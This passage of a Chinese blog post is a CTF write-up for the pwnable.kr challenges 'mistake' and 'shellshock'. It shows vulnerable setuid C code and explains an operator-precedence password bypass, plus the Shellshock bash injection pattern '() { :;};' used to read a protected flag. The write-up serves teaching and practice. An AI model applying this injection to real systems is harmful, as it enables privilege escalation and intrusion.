                    printf("Password OK
    ");
                    system("/bin/cat flag
    ");
            }
            else{
                    printf("Wrong Password
    ");
            }
    
            close(fd);
            return 0;
    }


    首先password文件没权限读


    程序就是首先打开password文件,睡眠当前时间跟20取余,跟着就读文件,跟着要我们输入密码,每个字符跟1一会一下,最后就判断是否跟文件中的一致了


    题目的提示是优先级

    <pre name="code" class="cpp">if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){  
                    printf("can't open password %d
    ", fd);  
                    return 0;  
            } 

    
    

    =号的优先级小于<,所以fd的值为0,

    下面这里就会重标准输入中读取了

    len=read(fd,pw_buf,PW_LEN)

    那么就简单了,我们输入1,异或后就是0



    shellshock 

    #include <stdio.h>
    int main(){
            setresuid(getegid(), getegid(), getegid());
            setresgid(getegid(), getegid(), getegid());
            system("/home/shellshock/bash -c 'echo shock_me'");
            return 0;
    }
    这个代码相对较短啊,看题目是考察破壳漏洞(bash漏洞),今天有个推送有说


    据说是这样的() { :;}; 被当做函数了,{:;};是空函数体,echo vulnerable是注入代码, bash的-c参数就是执行命令

    试了一下,漏洞存在,注意是当前目录的bash


    那么中间的代码我们就可以控制了,这里我们利用shellshock,因为这里设置了euid和egid


    那么这个进程就有权限去读取flag了




    参考:

    http://rickgray.me/2015/07/24/toddler-s-bottle-writeup-pwnable-kr.html



    本文链接:http://blog.csdn.net/u012763794/article/details/51992512

  • 相关阅读:
    (转载)5分钟安装Linux系统到U盘
    (原创)LAMP搭建之二:apache配置文件详解(中英文对照版)
    (原创)LAMP搭建之一:图解如何安装并检查LAMP
    OpenGL-渲染管线的流程(有图有真相)
    判断点在直线上
    使用QT开发GoogleMap瓦片显示和下载工具
    转:PCL+VS2010环境配置
    error LNK2038: 检测到“_ITERATOR_DEBUG_LEVEL”的不匹配项:值“0”不匹配值“2”
    An error occurred during the installation of assembly 'Microsoft.VC90.ATL or 'Microsoft.VC80.ATL'
    如何确定VS编译器版本
  • 原文地址:https://www.cnblogs.com/cnsec/p/13286527.html
Copyright © 2011-2022 走看看